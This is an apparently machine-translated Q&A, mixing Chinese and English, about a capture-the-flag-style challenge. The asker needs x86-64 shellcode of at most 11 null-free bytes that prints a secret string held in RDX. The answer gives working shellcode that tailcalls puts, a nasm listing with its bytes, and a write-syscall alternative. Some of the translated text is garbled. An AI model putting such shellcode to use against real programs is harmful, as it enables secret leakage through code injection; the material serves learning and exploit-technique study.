紧凑的 shellcode 打印寄存器指向的以 0 结尾的字符串,给定 puts 或 printf 在已知的绝对地址?

Compact shellcode to print a 0-terminated string pointed-to by a register, given puts or printf at known absolute addresses?

背景:我是一名初学者,试图了解如何组装高尔夫,尤其是解决在线挑战。

编辑:说明:我想打印 RDX 内存地址处的值。所以“超级秘密!”

Create some shellcode that can output the value of register RDX in <= 11 bytes. Null bytes are not allowed.

程序是用c标准库编译的,所以我可以访问puts/printf语句。在 x86 amd64 上是 运行。

$rax   : 0x0000000000010000  →  0x0000000ac343db31
$rdx   : 0x0000555555559480  →  "SUPER SECRET!"
gef➤  info address puts
Symbol "puts" is at 0x7ffff7e3c5a0 in a file compiled without debugging.
gef➤  info address printf
Symbol "printf" is at 0x7ffff7e19e10 in a file compiled without debugging.

这是我的尝试(英特尔语法)

xor ebx, ebx ; zero the ebx register
inc ebx ; set the ebx register to 1 (STDOUT
xchg ecx, edx ; set the ECX register to RDX
mov edx, 0xff ; set the length to 255
mov eax, 0x4 ; set the syscall to print
int 0x80 ; interrupt

hexdump of my code

我的尝试是 17 字节并且包括空字节,这是不允许的。还有哪些其他方法可以降低字节数?有没有办法在节省字节的同时调用 puts / printf

完整详情:

我不太清楚什么是有用的信息,什么不是。

文件详细信息:

ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5810a6deb6546900ba259a5fef69e1415501b0e6, not stripped

源代码:

void main() {
        char* flag = get_flag(); // I don't get access to the function details
        char* shellcode = (char*) mmap((void*) 0x1337,12, 0, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        mprotect(shellcode, 12, PROT_READ | PROT_WRITE | PROT_EXEC);
        fgets(shellcode, 12, stdin);
        ((void (*)(char*))shellcode)(flag);
}

主要部分的反汇编:

gef➤  disass main
Dump of assembler code for function main:
   0x00005555555551de <+0>:     push   rbp
   0x00005555555551df <+1>:     mov    rbp,rsp
=> 0x00005555555551e2 <+4>:     sub    rsp,0x10
   0x00005555555551e6 <+8>:     mov    eax,0x0
   0x00005555555551eb <+13>:    call   0x555555555185 <get_flag>
   0x00005555555551f0 <+18>:    mov    QWORD PTR [rbp-0x8],rax
   0x00005555555551f4 <+22>:    mov    r9d,0x0
   0x00005555555551fa <+28>:    mov    r8d,0xffffffff
   0x0000555555555200 <+34>:    mov    ecx,0x22
   0x0000555555555205 <+39>:    mov    edx,0x0
   0x000055555555520a <+44>:    mov    esi,0xc
   0x000055555555520f <+49>:    mov    edi,0x1337
   0x0000555555555214 <+54>:    call   0x555555555030 <mmap@plt>
   0x0000555555555219 <+59>:    mov    QWORD PTR [rbp-0x10],rax
   0x000055555555521d <+63>:    mov    rax,QWORD PTR [rbp-0x10]
   0x0000555555555221 <+67>:    mov    edx,0x7
   0x0000555555555226 <+72>:    mov    esi,0xc
   0x000055555555522b <+77>:    mov    rdi,rax
   0x000055555555522e <+80>:    call   0x555555555060 <mprotect@plt>
   0x0000555555555233 <+85>:    mov    rdx,QWORD PTR [rip+0x2e26]        # 0x555555558060 <stdin@@GLIBC_2.2.5>
   0x000055555555523a <+92>:    mov    rax,QWORD PTR [rbp-0x10]
   0x000055555555523e <+96>:    mov    esi,0xc
   0x0000555555555243 <+101>:   mov    rdi,rax
   0x0000555555555246 <+104>:   call   0x555555555040 <fgets@plt>
   0x000055555555524b <+109>:   mov    rax,QWORD PTR [rbp-0x10]
   0x000055555555524f <+113>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x0000555555555253 <+117>:   mov    rdi,rdx
   0x0000555555555256 <+120>:   call   rax
   0x0000555555555258 <+122>:   nop
   0x0000555555555259 <+123>:   leave
   0x000055555555525a <+124>:   ret

在执行 shellcode 之前注册状态:

$rax   : 0x0000000000010000  →  "EXPLOIT\n"
$rbx   : 0x0000555555555260  →  <__libc_csu_init+0> push r15
$rcx   : 0x000055555555a4e8  →  0x0000000000000000
$rdx   : 0x0000555555559480  →  "SUPER SECRET!"
$rsp   : 0x00007fffffffd940  →  0x0000000000010000  →  "EXPLOIT\n"
$rbp   : 0x00007fffffffd950  →  0x0000000000000000
$rsi   : 0x4f4c5058
$rdi   : 0x00007ffff7fa34d0  →  0x0000000000000000
$rip   : 0x0000555555555253  →  <main+117> mov rdi, rdx
$r8    : 0x0000000000010000  →  "EXPLOIT\n"
$r9    : 0x7c
$r10   : 0x000055555555448f  →  "mprotect"
$r11   : 0x246
$r12   : 0x00005555555550a0  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffda40  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0

(这个寄存器状态是下面流水线的快照)

●→ 0x555555555253 <main+117>       mov    rdi, rdx
   0x555555555256 <main+120>       call   rax

既然我已经泄露了秘密并且在评论中“破坏”了在线挑战的答案,我不妨把它写下来。 2 个关键技巧:

  • 在具有lea reg, [reg + disp32]的寄存器中创建0x7ffff7e3c5a0&puts),使用RDI的已知值在 disp32 的 +-2^31 范围内。 (或者使用 RBP 作为起点,而不是 RSP:寻址模式中的 )。

    这是 lea edi, [rax+1] 技巧的 the code-golf trick 的概括,用于从 3 个字节的其他小常量(尤其是 0)创建小常量,代码运行速度低于 push imm8 / pop reg.

    disp32 足够大,没有任何零字节;你有几个寄存器可供选择,以防其中一个太近。

  • Copy a 64-bit register in 2 bytespush reg / pop reg,而不是 3 字节 mov rdi, rdx(REX + 操作码 + modrm)。如果任一推送都需要 REX 前缀(对于 R8..R15),则不会节省任何费用,如果两者都是“非遗留”寄存器,则实际上会花费字节。

有关更多信息,请参阅 codegolf.SE 上 Tips for golfing in x86/x64 machine code 的其他答案。

bits 64
  lea  rsi, [rdi - 0x166f30]
       ;; add rbp, imm32          ; alternative, but that would mess up a call-preserved register so we might crash on return.
  push rdx
  pop  rdi      ; copy RDX to first arg, x86-64 SysV calling convention
  jmp  rsi      ; tailcall puts

正好是 11 个字节,我看不出有什么办法可以让它更小。 add r64, imm32也是7个字节,和LEA一样。 (如果寄存器是 RAX,则为 6 个字节,但即使是 xchg rax, rdi 短格式也需要 2 个字节才能到达那里,并且 RAX 值仍然是 fgets return 值,这是小的 mmap 缓冲区地址。)

puts 函数指针不适合 32 位,因此我们需要在任何将其放入寄存器的指令上添加 REX 前缀。否则我们可以只使用绝对地址 mov reg, imm32(5 个字节),而不是从另一个寄存器派生它。

$ nasm -fbin -o exploit.bin -l /dev/stdout exploit.asm
     1                                  bits 64
     2 00000000 488DB7D090E9FF          lea  rsi, [rdi - 0x166f30]
     3                                  ;; add rbp, imm32          ; we can avoid messing up any call-preserved registers
     4 00000007 52                      push rdx
     5 00000008 5F                      pop  rdi      ; copy to first arg
     6 00000009 FFE6                    jmp  rsi      ; tailcall
$ ll exploit.bin
-rw-r--r-- 1 peter peter 11 Apr 24 04:09 exploit.bin
$ ./a.out < exploit.bin      # would work if the addresses in my build matched yours

我构建的不完整 .c 在我的机器上使用了不同的地址,但它确实到达了这段代码(在地址 0x10000mmap_min_addr,mmap 在有趣的选择之后选择了0x1337 作为提示地址,它甚至没有页面对齐但不会导致当前 Linux 上的 EIVAL。)

因为我们只尾调用 puts 正确的堆栈对齐并且不修改任何调用保留寄存器,这应该成功 return 到 main


请注意 0 字节(ASCII NUL,不是 NULL)实际上可以在这个测试程序的 shellcode 中工作,如果不是因为禁止它的要求。

使用fgets读取输入(显然是为了模拟gets()溢出)。 fgets 实际上 可以 阅读 0 又名 '[=37=]';唯一的关键字符是 0xa 又名 '\n' 换行符。参见

缓冲区溢出经常利用 strcpy 或其他在 0 字节处停止的东西,但 fgets 仅在 EOF 或换行符处停止。 (或者缓冲区大小,缺少一个特性 gets,因此它被弃用并从 ISO C 标准库中删除!除非您控制输入数据,否则实际上不可能安全使用)。所以是的,禁止零字节是完全正常的。


顺便说一句,您的 int 0x80 尝试不可行: - 您不能使用 32 位 ABI 将 64 位指针传递给 write,并且字符串你要输出的不是虚拟地址的低32位space.

当然,对于 64 位 syscall ABI,如果您可以硬编码长度就没问题了。

    push rdx
    pop  rsi
    shr  eax, 16    ; fun 3-byte way to turn 0x10000` into `1`, __NR_write 64-bit, instead of just push 1 / pop
    mov  edi, eax   ; STDOUT_FD = __NR_write 
    lea  edx, [rax + 13 - 1]       ; 3 bytes.  RDX = 13 = string length
      ; or   mov dl, 0xff          ; 2 bytes  leaving garbage in rest of RDX
    syscall

但这是 12 个字节,以及对字符串长度的硬编码(这应该是秘密的一部分?)。

如果您不介意在你想要的字符串,直到写命中一个未映射的页面并且 returns 提前。 这将节省一个字节,使这个 11

(有趣的是,Linux write 在成功写入一些字节时 而不是 return 一个错误;相反它 returns 它写了多少。如果你用 buf + write_len 再试一次,你会得到一个 -EFAULT return 值,因为传递了一个错误的指针来写。)